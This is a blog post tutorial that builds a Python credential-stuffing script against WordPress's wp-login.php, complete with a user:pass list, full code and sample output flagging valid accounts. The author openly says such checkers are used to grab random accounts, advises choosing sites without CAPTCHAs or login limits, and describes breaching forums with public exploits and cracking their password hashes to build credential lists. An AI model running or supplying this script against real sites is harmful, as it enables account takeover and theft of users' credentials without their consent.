Tag Archive > security

Login Checking

» 22 September 2011 » In Internet, Programming, Python, Security » 3 Comments

For so many years, I’ve been using login checkers. Mainly, these scripts aims to recover forgotten passwords. But from experience, people like to use these to get random accounts. For as long as there’s no captcha involved, login checking is possible. Let me show you an example how to make one.

WARNING: The procedure below is somewhat illegal (sense). Proceed at your own risk.

First is to set the target website. There are few things you need to consider on picking a website to check against.

  • No CAPTCHA
  • Login attempts are not limited
  • Webserver can take consecutive requests

CAPTCHAs can greatly block login checking. Though there are many ways to bypass them, large amount of work and integration is required. Also, if the login attempts are limited, we will not be able to accomplish, especially if our list size is greater than the maximum attempt count. And this may crash the target webserver, so extra care is required.

You also need a user-pass list, or just a password list. The most effective format would be in user:pass format, separated by newlines. In the past, we get unique content from forum databases. We’ve been hacking forums of different kinds using public exploits, extracting their user database, parsing them to user:hash:salt:email format, and running them into a hash cracker like PasswordsPro. Usually in a 100k user database, we get the ~20%, and its a pretty big amount of user:pass list.

A software that sniffs and captures http headers is also required. I recommend the Live HTTP Headers addon in firefox. This addon is extremely helpful in our side. Instead of examining the HTML form, we can just run a sample login and capture the data.

For this example, we will target my own wordpress login page. Don’t worry, I will create a user account for this testing (and will delete afterwards). The first thing you need to do is fire up the Live HTTP Headers plugin from firefox, and please close all other tabs or windows that makes requests over time, so it will not interfere with our header catching.

Live HTTP Headers

Live HTTP Headers

Next is to make a dummy login request. This is not a real user account, but this step will help us a lot. Now, this is how it will look like:

Dummy Login

Dummy Login

And if we will go back to our Live HTTP Header window, we will see that the POST request we made was captured.

Captured POST Request

Captured POST Request

From here, we can get enough information, but to see things more clearly, hit the Replay button.

Live HTTP Headers Replay

Live HTTP Headers Replay

There, we can see the POST URL and data that was passed. And of course, there are optional fields (how did I know this? trial and error) is POST data. In this case, we will only use:

log=testuser&pwd=testpass&wp-submit=Log+In

Now we go back to the login page. The key to knowing the user has logged in is on the error message. Yes, this is the easiest way to determine that it was a success. Although in some sites, there are different error messages. You can define them all through testing.

But why not a unique string from the dashboard, or from the page where the browser goes to when the login is successful? The problem here is, in some websites like wordpress, the browser is redirected to a certain page when the login is successful. It can be javascript redirect or header redirects. And in header redirects, cookies must be enabled, and for a simple script like the one we’re going to build, we try not to deal with cookies, plus, navigating to another page slows down the process.

In wordpress’ login page, there are several error messages. But what we’re going to look at, is a string or html code that was not present in the original login page, and the html response when the user is logged in successfully. And I believe, in this example, it would be: <div id="login_error"></div>.

Next, we should have our user list. We will create a 4 line userlist. I already created a user with credentials someuser:mypassword in my wordpress database as a subscriber, and we will input this in our list at line 3 so that we will know if our checker works. Here’s our account list, and we’ll store it in accounts.txt

user1:somepass
dummyuser:password2
someuser:mypassword
anotherone:itsnotme

Now lets build a simple python code to test all. First are the import statements.

import sys
import urllib2
import urllib
import os

sys is for the arguments, urllib2 for the http requests, urllib for the urlencode() method, and os for file existence checking.

And then of course, our entry point condition.

if __name__ == '__main__':
	main(sys.argv[1:])

The first thing we need to do in our main method is check for the filename argument.

if len(argv) == 0:
	'''
		Check if the there's no filename argument
	'''
	print 'No filename for dictionary specified.'
	sys.exit()
elif not os.path.isfile(argv[0]):
	'''
		Check if the file does not exist
	'''
	print '%s does not exist.' % argv[0]
	sys.exit()

Then we need to specify the baseurl of the target wordpress host. This includes the directory (if any) where the index page of wordpress resides without the trailing slash.

baseurl = 'http://somesite.com/blog'

Next is load the file line by line, and separate the user and password into different variables.

file = open(argv[0], 'r')
for line in file:
	'''
		Read line by line
	'''
	user, passw = line.strip().split(':')

And we will define our post data, and based on what we got from the request replay.

log=testuser&pwd=testpass&wp-submit=Log+In

We will be breaking this down into a dict, separating the field name from the value, and URL encode them. Then we make the request and store the response HTML to a variable.

data = urllib.urlencode({ 'log' : user, 'pwd' : passw, 'wp-submit' : 'Log+In' })
response = urllib2.urlopen('%s/wp-login.php' % baseurl, data)
html = response.read()

The next part is the checking. We will check for the occurrence of the string <div id="login_error"></div> in the response HTML. If it’s there, then our log in was invalid. And if its not there, then we have a valid account. The best way to remember the valid accounts is by putting it into a separate text file.

if '<div id="login_error">' in html:
	'''
		Check if response HTML has error
	'''
	print '%s:%s - INVALID' % (user, passw)
else:
	print '%s:%s - VALID' % (user, passw)
	save = open('valid.txt', 'a+')
	save.write("%s:%s\n" % (user, passw))
	save.close()

Lastly, outside the loop, close the file handle.

file.close()

Now let’s run shall we?

# python wploginchecker.py accounts.txt
user1:somepass - INVALID
dummyuser:password2 - INVALID
someuser:mypassword - VALID
anotherone:itsnotme - INVALID

And there you go, the checker is all working. You can fork the code in github if you want. That’s all.

Continue reading...

Tags: , , , , ,